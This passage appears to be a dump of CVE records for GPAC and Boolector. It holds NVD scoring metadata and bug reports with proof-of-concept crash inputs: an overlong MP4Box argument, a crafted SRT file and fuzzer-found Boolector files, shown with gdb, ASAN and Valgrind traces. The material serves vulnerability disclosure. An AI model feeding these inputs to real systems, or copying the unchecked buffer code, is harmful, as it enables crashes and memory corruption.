[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1187" }, { "source": "cve@mitre.org", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1187" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]

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[ "119" ]

119

https://github.com/gpac/gpac/issues/1187

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gpac", "gpac" ]

There is a buffer overflow issue in cat_multiple_files () function, fileimport.c GF_Err cat_multiple_files(GF_ISOFile *dest, char *fileName, u32 import_flags, Double force_fps, u32 frames_per_sample, char *tmp_dir, Bool force_cat, Bool align_timelines, Bool allow_add_in_command) { …… if (sep) { strcpy(cat_enum.szOpt, sep); // buffer overflow here. sep[0] = 0; } …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -cat cat*.txt:szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2szRad2 -add overview.srt overview.mp4 Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) Segmentation fault (core dumped)

buffer overflow issue 4#

https://api.github.com/repos/gpac/gpac/issues/1187/comments

2

2018-12-22T02:47:42Z

2022-08-25T08:34:06Z

https://github.com/gpac/gpac/issues/1187

393,636,571

1,187

144

CVE-2018-20763

2019-02-06T23:29:00.417

In GPAC 0.7.1 and earlier, gf_text_get_utf8_line in media_tools/text_import.c in libgpac_static.a allows an out-of-bounds write because of missing szLineConv bounds checking.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/1c449a34fe0b50aaffb881bfb9d7c5ab0bb18cdd" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1188" }, { "source": "cve@mitre.org", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/1c449a34fe0b50aaffb881bfb9d7c5ab0bb18cdd" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1188" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]

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[ "787" ]

787

https://github.com/gpac/gpac/issues/1188

[ "Exploit", "Third Party Advisory" ]

github.com

[ "gpac", "gpac" ]

There is a buffer overflow issue in gf_text_get_utf8_line () function, text_import.c in line 429 of gf_text_import_srt, parameter lineSize is 2048, but in gf_text_get_utf8_line (), the size of szLineConv is 1024, so, when the size of szLine is more than 1024, the buffer of szLineConv will overflow. 429 char *sOK = gf_text_get_utf8_line(szLine, 2048, srt_in, unicode_type); char *gf_text_get_utf8_line(char *szLine, u32 lineSize, FILE *txt_in, s32 unicode_type) { …… char szLineConv[1024]; …… len = (u32) strlen(szLine); // len might be more than 1024 for (i=0; i<len; i++) { if (!unicode_type && (szLine[i] & 0x80)) { /*non UTF8 (likely some win-CP)*/ if ((szLine[i+1] & 0xc0) != 0x80) { szLineConv[j] = 0xc0 | ( (szLine[i] >> 6) & 0x3 ); // j may more than 1024 here j++; szLine[i] &= 0xbf; } …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -srt 0 crafted_text.srt Timed Text (SRT) import - text track 400 x 60, font Serif (size 18) *** stack smashing detected ***: ./MP4Box terminated Aborted (core dumped) root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./MP4Box...done. (gdb) set args -srt 0 crafted_text.srt (gdb) b text_import.c:250 No source file named text_import.c. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (text_import.c:250) pending. (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -srt 0 crafted_text.srt [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Timed Text (SRT) import - text track 400 x 60, font Serif (size 18) Breakpoint 1, gf_text_get_utf8_line (szLine=0x7fffffff88e0 "1\n", lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) c Continuing. Breakpoint 1, gf_text_get_utf8_line (szLine=0x7fffffff88e0 "00:00:12,375 --> 00:00:13,425\n", lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) c Continuing. Breakpoint 1, gf_text_get_utf8_line ( szLine=0x7fffffff88e0 "hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello world hello wo"..., lineSize=2048, txt_in=0x65d570, unicode_type=0) at media_tools/text_import.c:250 250 szLineConv[j] = 0; (gdb) p j $1 = 1729 (gdb) c Continuing. *** stack smashing detected ***: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box terminated Program received signal SIGABRT, Aborted. 0x00007ffff72b7c37 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) Guoxiang Niu, EaglEye Team

buffer overflow issue 5#

https://api.github.com/repos/gpac/gpac/issues/1188/comments

3

2018-12-22T03:05:37Z

2025-03-21T08:51:54Z

https://github.com/gpac/gpac/issues/1188

393,637,600

1,188

145

CVE-2019-7559

2019-02-07T07:29:00.287

In btor2parser/btor2parser.c in Boolector Btor2Tools before 2019-01-15, opening a specially crafted input file leads to an out of bounds write in pusht_bfr.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/30" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/30" } ]

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[ "787" ]

787

https://github.com/Boolector/boolector/issues/30

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "Boolector", "boolector" ]

While fuzzing boolector, <details> <summary> this input file </summary> ``` 2147483649 sort ``` </details> was found, which leads to an out of bounds write, according to valgrind. The attached file contains more lines leading to the same crash, the above file contains the minimal version. - [pusht_bfr.btor2.txt](https://github.com/Boolector/boolector/files/2760759/pusht_bfr.btor2.txt) - [pusht_bfr.btor2.asan.txt](https://github.com/Boolector/boolector/files/2760758/pusht_bfr.btor2.asan.txt) - [pusht_bfr.btor2.valgrind.txt](https://github.com/Boolector/boolector/files/2760760/pusht_bfr.btor2.valgrind.txt) <details> <summary> ASAN trace (probably not useful, since it does not find the write) </summary> ``` ==25988==ERROR: AddressSanitizer failed to allocate 0x800002000 (34359746560) bytes of LargeMmapAllocator (error code: 12) ==25988==Process memory map follows: 0x000000400000-0x0000007e2000 /home/user/boolector-asan 0x0000009e2000-0x0000009e3000 /home/user/boolector-asan 0x0000009e3000-0x000000a07000 /home/user/boolector-asan 0x000000a07000-0x0000016fa000 0x00007fff7000-0x00008fff7000 0x00008fff7000-0x02008fff7000 0x02008fff7000-0x10007fff8000 0x600000000000-0x602000000000 0x602000000000-0x602000010000 0x602000010000-0x603000000000 0x603000000000-0x603000010000 0x603000010000-0x604000000000 0x604000000000-0x604000010000 0x604000010000-0x606000000000 0x606000000000-0x606000010000 0x606000010000-0x607000000000 0x607000000000-0x607000010000 0x607000010000-0x608000000000 0x608000000000-0x608000010000 0x608000010000-0x60b000000000 0x60b000000000-0x60b000010000 0x60b000010000-0x60c000000000 0x60c000000000-0x60c000010000 0x60c000010000-0x60e000000000 0x60e000000000-0x60e000010000 0x60e000010000-0x611000000000 0x611000000000-0x611000010000 0x611000010000-0x615000000000 0x615000000000-0x615000020000 0x615000020000-0x616000000000 0x616000000000-0x616000020000 0x616000020000-0x619000000000 0x619000000000-0x619000020000 0x619000020000-0x61d000000000 0x61d000000000-0x61d000020000 0x61d000020000-0x621000000000 0x621000000000-0x621000020000 0x621000020000-0x622000000000 0x622000000000-0x622000020000 0x622000020000-0x624000000000 0x624000000000-0x624000030000 0x624000030000-0x625000000000 0x625000000000-0x625000020000 0x625000020000-0x629000000000 0x629000000000-0x629000010000 0x629000010000-0x62d000000000 0x62d000000000-0x62d000020000 0x62d000020000-0x631000000000 0x631000000000-0x631000040000 0x631000040000-0x640000000000 0x640000000000-0x640000003000 0x7f5e91ee2000-0x7f6291ee4000 0x7f6691e00000-0x7f6691f00000 0x7f6692000000-0x7f6692100000 0x7f6692200000-0x7f6692300000 0x7f6692400000-0x7f6692500000 0x7f6692533000-0x7f6694885000 0x7f6694885000-0x7f6694a6c000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f6694a6c000-0x7f6694c6c000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f6694c6c000-0x7f6694c70000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f6694c70000-0x7f6694c72000 /lib/x86_64-linux-gnu/libc-2.27.so 0x7f6694c72000-0x7f6694c76000 0x7f6694c76000-0x7f6694c8d000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f6694c8d000-0x7f6694e8c000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f6694e8c000-0x7f6694e8d000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f6694e8d000-0x7f6694e8e000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7f6694e8e000-0x7f6694e91000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f6694e91000-0x7f6695090000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f6695090000-0x7f6695091000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f6695091000-0x7f6695092000 /lib/x86_64-linux-gnu/libdl-2.27.so 0x7f6695092000-0x7f6695099000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f6695099000-0x7f6695298000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f6695298000-0x7f6695299000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f6695299000-0x7f669529a000 /lib/x86_64-linux-gnu/librt-2.27.so 0x7f669529a000-0x7f66952b4000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f66952b4000-0x7f66954b3000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f66954b3000-0x7f66954b4000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f66954b4000-0x7f66954b5000 /lib/x86_64-linux-gnu/libpthread-2.27.so 0x7f66954b5000-0x7f66954b9000 0x7f66954b9000-0x7f6695656000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f6695656000-0x7f6695855000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f6695855000-0x7f6695856000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f6695856000-0x7f6695857000 /lib/x86_64-linux-gnu/libm-2.27.so 0x7f6695857000-0x7f66959d0000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f66959d0000-0x7f6695bd0000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f6695bd0000-0x7f6695bda000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f6695bda000-0x7f6695bdc000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.25 0x7f6695bdc000-0x7f6695be0000 0x7f6695be0000-0x7f6695c07000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f6695cdd000-0x7f6695df4000 0x7f6695df4000-0x7f6695e07000 0x7f6695e07000-0x7f6695e08000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f6695e08000-0x7f6695e09000 /lib/x86_64-linux-gnu/ld-2.27.so 0x7f6695e09000-0x7f6695e0a000 0x7ffde7145000-0x7ffde7166000 [stack] 0x7ffde71ea000-0x7ffde71ed000 [vvar] 0x7ffde71ed000-0x7ffde71ef000 [vdso] 0xffffffffff600000-0xffffffffff601000 [vsyscall] ==25988==End of process memory map. ==25988==AddressSanitizer CHECK failed: /build/llvm-toolchain-3.9-GZwVE7/llvm-toolchain-3.9-3.9.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_common.cc:120 "((0 && "unable to mmap")) != (0)" (0x0, 0x0) ==25988==WARNING: failed to fork (errno 12) ==25988==WARNING: failed to fork (errno 12) ==25988==WARNING: failed to fork (errno 12) ==25988==WARNING: failed to fork (errno 12) ==25988==WARNING: failed to fork (errno 12) ==25988==WARNING: Failed to use and restart external symbolizer! #0 0x4efc65 (/home/user/boolector-asan+0x4efc65) #1 0x50a375 (/home/user/boolector-asan+0x50a375) #2 0x4f9aa2 (/home/user/boolector-asan+0x4f9aa2) #3 0x503a15 (/home/user/boolector-asan+0x503a15) #4 0x4425b9 (/home/user/boolector-asan+0x4425b9) #5 0x43c7d6 (/home/user/boolector-asan+0x43c7d6) #6 0x4e6178 (/home/user/boolector-asan+0x4e6178) #7 0x42aa0a (/home/user/boolector-asan+0x42aa0a) #8 0x42ab61 (/home/user/boolector-asan+0x42ab61) #9 0x6f4720 (/home/user/boolector-asan+0x6f4720) #10 0x65b591 (/home/user/boolector-asan+0x65b591) #11 0x5a033a (/home/user/boolector-asan+0x5a033a) #12 0x59f55a (/home/user/boolector-asan+0x59f55a) #13 0x52531e (/home/user/boolector-asan+0x52531e) #14 0x7f66948a6b96 (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #15 0x4367a9 (/home/user/boolector-asan+0x4367a9) ``` </details> <details> <summary> Valgrind trace </summary> ``` ==26039== Memcheck, a memory error detector ==26039== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==26039== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info ==26039== Command: ./boolector-plain pusht_bfr.btor2 ==26039== ==26039== Warning: set address range perms: large range [0x15bf0028, 0x25bf0058) (noaccess) ==26039== Warning: set address range perms: large range [0x79e43040, 0x99e43040) (undefined) ==26039== Warning: set address range perms: large range [0x25bf1028, 0x45bf1058) (noaccess) ==26039== Warning: set address range perms: large range [0xd9e44040, 0x119e44040) (undefined) ==26039== Warning: set address range perms: large range [0x59e43028, 0x99e43058) (noaccess) ==26039== Warning: set address range perms: large range [0x199e45040, 0x219e45040) (undefined) ==26039== Warning: set address range perms: large range [0x99e44028, 0x119e44058) (noaccess) ==26039== Warning: set address range perms: large range [0x319e46040, 0x419e46040) (undefined) ==26039== Warning: set address range perms: large range [0x119e45028, 0x219e45058) (noaccess) ==26039== Warning: set address range perms: large range [0x619e47040, 0x819e47040) (undefined) ==26039== Warning: set address range perms: large range [0x219e46028, 0x419e46058) (noaccess) ==26039== Invalid write of size 8 ==26039== at 0x1197DA: pusht_bfr (in /home/user/boolector-plain) ==26039== by 0x11991C: new_line_bfr (in /home/user/boolector-plain) ==26039== by 0x1E9730: btor2parser_read_lines (in /home/user/boolector-plain) ==26039== by 0x1BB013: parse_btor2_parser (in /home/user/boolector-plain) ==26039== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==26039== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==26039== by 0x541AB96: (below main) (libc-start.c:310) ==26039== Address 0x400000000 is 8,155,537,344 bytes inside a block of size 8,589,934,592 free'd ==26039== at 0x4C31D2F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==26039== by 0x1197C5: pusht_bfr (in /home/user/boolector-plain) ==26039== by 0x11991C: new_line_bfr (in /home/user/boolector-plain) ==26039== by 0x1E9730: btor2parser_read_lines (in /home/user/boolector-plain) ==26039== by 0x1BB013: parse_btor2_parser (in /home/user/boolector-plain) ==26039== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==26039== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==26039== by 0x541AB96: (below main) (libc-start.c:310) ==26039== Block was alloc'd at ==26039== at 0x4C31D2F: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==26039== by 0x1197C5: pusht_bfr (in /home/user/boolector-plain) ==26039== by 0x11991C: new_line_bfr (in /home/user/boolector-plain) ==26039== by 0x1E9730: btor2parser_read_lines (in /home/user/boolector-plain) ==26039== by 0x1BB013: parse_btor2_parser (in /home/user/boolector-plain) ==26039== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==26039== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==26039== by 0x541AB96: (below main) (libc-start.c:310) ==26039== boolector: line 5: expected tag ==26039== ==26039== HEAP SUMMARY: ==26039== in use at exit: 17,179,869,328 bytes in 3 blocks ==26039== total heap usage: 870 allocs, 867 frees, 68,719,507,815 bytes allocated ==26039== ==26039== LEAK SUMMARY: ==26039== definitely lost: 120 bytes in 1 blocks ==26039== indirectly lost: 24 bytes in 1 blocks ==26039== possibly lost: 17,179,869,184 bytes in 1 blocks ==26039== still reachable: 0 bytes in 0 blocks ==26039== suppressed: 0 bytes in 0 blocks ==26039== Rerun with --leak-check=full to see details of leaked memory ==26039== ==26039== For counts of detected and suppressed errors, rerun with: -v ==26039== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) ``` </details> Used version ``` $ boolector --version 3.0.1-pre ``` Steps to reproduce ``` boolector pusht_bfr.btor2.txt ```

Out of Bounds write in pusht_bfr

https://api.github.com/repos/Boolector/boolector/issues/30/comments

1

2019-01-15T17:48:48Z

2019-01-15T19:08:37Z

https://github.com/Boolector/boolector/issues/30

399,461,427

30

146

CVE-2019-7560

2019-02-07T07:29:00.487

In parser/btorsmt2.c in Boolector 3.0.0, opening a specially crafted input file leads to a use after free in get_failed_assumptions or btor_delete.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/28" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/29" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/28" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/29" } ]

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[ "416" ]

416

https://github.com/Boolector/boolector/issues/28

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "Boolector", "boolector" ]

While fuzzing boolector, <details> <summary>this input file</summary> ``` (assert(bvcomp#xe#x5)) (check-sat) (get-unsat-assumptions) ``` </details> was found, which leads to a use after free in btor_delete. The attached file contains more lines leading to the same crash, the above file contains the minimal version. - [btor_delete.txt](https://github.com/Boolector/boolector/files/2760677/btor_delete.txt) - [btor_delete.asan.txt](https://github.com/Boolector/boolector/files/2760679/btor_delete.asan.txt) - [btor_delete.valgrind.txt](https://github.com/Boolector/boolector/files/2760680/btor_delete.valgrind.txt) <details> <summary>ASAN trace</summary> ``` ================================================================= ==25480==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000009490 at pc 0x000000569948 bp 0x7ffe250893f0 sp 0x7ffe250893e8 READ of size 8 at 0x602000009490 thread T0 #0 0x569947 in btor_delete /home/user/boolector-master/src/btorcore.c:933:9 #1 0x5263d6 in btormain_delete_btormain /home/user/boolector-master/src/btormain.c:457:3 #2 0x5263d6 in boolector_main /home/user/boolector-master/src/btormain.c:1625 #3 0x7fc17c831b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #4 0x4367a9 in _start (/home/user/boolector-asan+0x4367a9) 0x602000009490 is located 0 bytes inside of 8-byte region [0x602000009490,0x602000009498) freed by thread T0 here: #0 0x4e5bc8 in __interceptor_free.localalias.0 (/home/user/boolector-asan+0x4e5bc8) #1 0x68525b in read_command_smt2 /home/user/boolector-master/src/parser/btorsmt2.c:4706:7 #2 0x682a27 in parse_smt2_parser /home/user/boolector-master/src/parser/btorsmt2.c:4828:10 #3 0x5a033a in parse_aux /home/user/boolector-master/src/btorparse.c:68:15 #4 0x59f55a in btor_parse /home/user/boolector-master/src/btorparse.c:230:9 #5 0x52531e in boolector_main /home/user/boolector-master/src/btormain.c:1454:19 #6 0x7fc17c831b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 previously allocated by thread T0 here: #0 0x4e61a5 in realloc (/home/user/boolector-asan+0x4e61a5) #1 0x6cd24e in btor_mem_realloc /home/user/boolector-master/src/utils/btormem.c:104:12 #2 0x52bc11 in boolector_get_failed_assumptions /home/user/boolector-master/src/boolector.c:633:3 #3 0x6851db in read_command_smt2 /home/user/boolector-master/src/parser/btorsmt2.c:4700:28 #4 0x682a27 in parse_smt2_parser /home/user/boolector-master/src/parser/btorsmt2.c:4828:10 #5 0x5a033a in parse_aux /home/user/boolector-master/src/btorparse.c:68:15 #6 0x59f55a in btor_parse /home/user/boolector-master/src/btorparse.c:230:9 #7 0x52531e in boolector_main /home/user/boolector-master/src/btormain.c:1454:19 #8 0x7fc17c831b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-use-after-free /home/user/boolector-master/src/btorcore.c:933:9 in btor_delete Shadow bytes around the buggy address: 0x0c047fff9240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff9290: fa fa[fd]fa fa fa fd fa fa fa fd fd fa fa fd fa 0x0c047fff92a0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd 0x0c047fff92b0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa 0x0c047fff92c0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa 0x0c047fff92d0: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa fd fd 0x0c047fff92e0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==25480==ABORTING ``` </details> <details> <summary>Valgrind trace</summary> ``` ==25740== Memcheck, a memory error detector ==25740== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==25740== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info ==25740== Command: ./boolector-plain btor_delete.txt ==25740== ==25740== Invalid read of size 8 ==25740== at 0x14BC53: btor_delete (in /home/user/boolector-plain) ==25740== by 0x127EC9: boolector_main (in /home/user/boolector-plain) ==25740== by 0x541AB96: (below main) (libc-start.c:310) ==25740== Address 0x580a420 is 0 bytes inside a block of size 8 free'd ==25740== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==25740== by 0x1CA705: read_command_smt2 (in /home/user/boolector-plain) ==25740== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==25740== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==25740== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==25740== by 0x541AB96: (below main) (libc-start.c:310) ==25740== Block was alloc'd at ==25740== at 